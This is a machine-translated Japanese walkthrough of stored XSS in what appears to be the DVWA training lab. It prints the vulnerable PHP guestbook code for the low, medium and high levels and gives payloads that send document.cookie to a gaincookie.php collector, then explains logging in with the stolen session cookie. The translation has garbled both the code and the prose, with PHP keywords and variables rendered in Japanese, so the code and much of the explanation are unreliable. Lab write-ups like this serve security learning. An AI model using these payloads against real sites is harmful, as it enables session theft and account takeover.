ストレージタイプのXSS:
XSS保存され、攻撃者は、攻撃は攻撃データを伴うことになる、サーバー側でデータを保存します常に存在してきました。
JSは、データベースと、出力に保存されている攻撃コードを提出します。
低:
観測ソース:
<?PHPの 場合(ISSET($ _POST [ 'btnSign' ])){ // 取得した入力 $メッセージ = トリム($ _POST [ 'mtxMessage' ]); $名 = トリム($ _POST [ 'txtName' ]); // サニタイズメッセージ入力 $メッセージ = にstripslashes($メッセージ)。 $メッセージ =((ISSET($ GLOBALS [ "___mysqli_ston"])&& is_object($ GLOBALS[ "___mysqli_ston"]))?mysqli_real_escape_string($ GLOBALS [ "___mysqli_ston"]、 $メッセージ):((でtrigger_error( "[MySQLConverterToo]このコードはしない仕事mysql_escape_string()の呼び出しを修正する!。"、E_USER_ERROR)) "": "?" )); // サニタイズ名入力 $名 =((ISSET($ GLOBALS [ "___mysqli_ston"])&& is_object($ GLOBALS [ "___mysqli_ston"]))?mysqli_real_escape_string($ GLOBALS [ "___mysqli_ston"]、 $名):((でtrigger_error( "[MySQLConverterToo] mysql_escape_string()の呼び出しを修正する!このコードは仕事をしません。"、E_USER_ERROR))?"": "" )); // 更新データベース $クエリ = "INSERT INTOのゲストブック(コメント、名)VALUES( ' $メッセージ '、 ' $名 ');" ; $結果 = mysqli_query($ GLOBALS [ "___mysqli_ston"]、 $クエリ)またはダイ( '<pre>の'((。is_object($ GLOBALS [ "___mysqli_ston"]))?mysqli_error($ GLOBALS [ "___mysqli_ston"]):mysqli_connect_error())?$ ___ mysqli_res:偽))。'</ PRE>' ); // にmysql_close(); } ?>
1.trim機能:トリム(文字列、CHARLIST)、空白文字または他の事前定義された文字列のための両側に除去され、戻り値は文字列が変更されたです。
機能を2.mysqli_real_escape_string:SQLインジェクションを防ぐために、SQL文の中の特殊文字をエスケープします。
3.stripslashes(文字列)機能:バックスラッシュを削除します
だから、低レベルのソースコードは、XSSの文に制限がありません。あなたを示しています。
あなたは簡単に設定し、クッキーを開くことができます。
次は攻撃をシミュレート:
最初のスクリプトは、クッキーを取得する準備、(Baiduのことができ、多くの例では、オンラインです)
今、ユーザーのクッキーを取得するために、攻撃者の必要性は、スクリプトの格納場所に書き込まれます
最大のmessagelengthがあることが、F12はそれを変更することができ、ここで注意してください
挿入JSスクリプト:
<スクリプト>はdocument.location = '?のhttp://127.0.0.1/gaincookie.phpクッキー=' <PRE> + document.cookieを; </ SCRIPT> </ PRE>
ステアリングファイルのURLポイントの後ろ上記はdocument.location; <前>テキストの折り返しは通常、スペースや改行を見続けます
私はそれがBaiduのページになっている必要があり、ネットワークを持っていません。
あなたは、PHPスクリプトの実装を見ることができるので、私たちはユーザーのCookieへの書き込みアクセスをすることを。
そして、あなたはサイトにログオン攻撃者の身元にこのクッキーを使用することができます
ここでは、クッキーを作成します(私の詳細な記事付属の接続の最後を参照してください):
実行:
document.cookie = "クッキーは、(典型的にはPHPSESSID = XXXXXXXX)取得しました";
ウェブサイトにアクセスした後。
PS:
phpstudy設定ファイルhttpd.confを
あなたはこのピングに次の状態のホストにアクセスすることはできません別のホストのapacheのを避けるために、IPへのアクセスを許可するように変更することができます
中
観測ソース:
<?PHPの 場合(ISSET($ _POST [ 'btnSign' ])){ // 取得した入力 $メッセージ = トリム($ _POST [ 'mtxMessage' ]); $名 = トリム($ _POST [ 'txtName' ]); // サニタイズメッセージ入力 $メッセージ = strip_tags(にaddslashes($メッセージ)); $メッセージ =((ISSET($ GLOBALS [ "___mysqli_ston"])&& is_object($ GLOBALS [ "___mysqli_ston"]))?mysqli_real_escape_string($ GLOBALS [ "___mysqli_ston"]、 $メッセージ):((でtrigger_error( "[MySQLConverterToo]このコードはしない仕事mysql_escape_string()の呼び出しを修正する!。"、E_USER_ERROR)) "": "?" )); $メッセージ = はhtmlspecialchars($メッセージ)。 // サニタイズ名入力 $名 = str_replace( '<スクリプト>'、 ''、$名)。 $名 =((ISSET($ GLOBALS [ "___mysqli_ston"])&$ GLOBALS [ "___mysqli_ston"]))?mysqli_real_escape_string($ GLOBALS [ "___mysqli_ston"]、 $名((:)でtrigger_error( "[MySQLConverterToo] mysql_escape_stringを修正しました。()の呼び出しをこのコードは仕事をしません!。"、E_USER_ERRORは)) "": "?" )); // 更新データベース $クエリ = "INSERT INTOのゲストブック(コメント、名)VALUES( ' $メッセージ '、 ' $名 ');" ; $結果 = mysqli_query($ GLOBALS [ "___mysqli_ston"]、 $クエリ)またはダイ( ' <前>」。(( is_object($ GLOBALS [ "___mysqli_ston"]))?mysqli_error($ GLOBALS [ "___mysqli_ston"]):(($ ___ mysqli_res = mysqli_connect_error?())$ ___ mysqli_res:偽))。'</ PRE>' ); // にmysql_close(); } ?>
などの制限の多くを行うためのメッセージ、HTMLエンティティのエスケープ、フィルターHTMLタグ、のソースが、唯一のフィルタの名前での<script>タグには、あまりにも多くの他の制限をしませんでした
ここでは、注入点で名前を選択します。
1.stripタグ()関数:
2.htmlspecialchars()関数:
シンプルな試みを行います。
数字列または最初の限界が最大パラメータ制限を取り除く<SCRIPT>警告(123)</ SCRIPT>
これは、その通常の表示を発見した、または当社の試みJSのスクリプトコードの後にそれを変更します。
<SCRIPT>はdocument.location = '?のhttp://127.0.0.1/gaincookie.phpクッキー=' + document.cookie; </ SCRIPT>
見つけたことは成功しBaiduのドメイン名をジャンプすることができます
私たちのcookie.txt文書はまた、新しいクッキーを追加します
PS:
私は、バックグラウンドで見つかった中レベルは、私がここにいるせいか、制限されたコンテンツの長さを格納するためのオンラインデータベースをご確認ください
コードは、文の長さを短くする勧告の実施の最後の数文字が欠落している場合はJS短い声明の理由は、テストを継続して表示されます。
高い
観測ソース:
<?PHPの 場合(ISSET($ _POST [ 'btnSign' ])){ // 取得した入力 $メッセージ = トリム($ _POST [ 'mtxMessage' ]); $名 = トリム($ _POST [ 'txtName' ]); // サニタイズメッセージ入力 $メッセージ = strip_tags(にaddslashes($メッセージ)); $メッセージ =((ISSET($ GLOBALS [ "___mysqli_ston"])&& is_object($ GLOBALS [ "___mysqli_ston"]))?mysqli_real_escape_string($ GLOBALS [ "___mysqli_ston"]、 $メッセージ):((でtrigger_error( "[MySQLConverterToo]このコードはしない仕事mysql_escape_string()の呼び出しを修正する!。"、E_USER_ERROR)) "": "?" )); $メッセージ = はhtmlspecialchars($メッセージ)。 // サニタイズ名入力 $名 = にpreg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'、 ''、$名)。 $名 =((ISSET($ GLOBALS [」is_object($ GLOBALS [ "___mysqli_ston"]))?mysqli_real_escape_string($ GLOBALS [ "___mysqli_ston"]、 $名((:)でtrigger_error( "[MySQLConverterToo] mysql_escape_stringを修正しました。()の呼び出しをこのコードは仕事をしません!。"、E_USER_ERRORは)) "": "?" )); // 更新データベース $クエリ = "INSERT INTOのゲストブック(コメント、名)VALUES( ' $メッセージ '、 ' $名 ');" ; $結果 = mysqli_query($ GLOBALS [ "___mysqli_ston"]、 。( '<pre>の'((is_object($ GLOBALS?[ "___mysqli_ston"]))mysqli_error($ GLOBALS [ "___mysqli_ston"]):(($ ___ mysqli_res = mysqli_connect_error())?$ ___ mysqli_res:偽)) '。 </ PRE>」); // にmysql_close(); } ?>
高中のコード差がにpreg_replaceの名前で使用され、名前の値は、定期的な交換が入力され、私は、すなわち、すべての大文字と小文字を区別しません
フィルタ小文字を区別しないの<SCRIPT>の文字。だから、<SCRIPT>タグのアップが使用することはできません。
あなたはクッキーの値を見ることができない、リダイレクトしないことがあるようです。フレームシェルは警告を表現することができないと、非常に落ち込んで
....最初にこの、綿密な調査を書いた後、ピットを埋めるために後で戻ってきます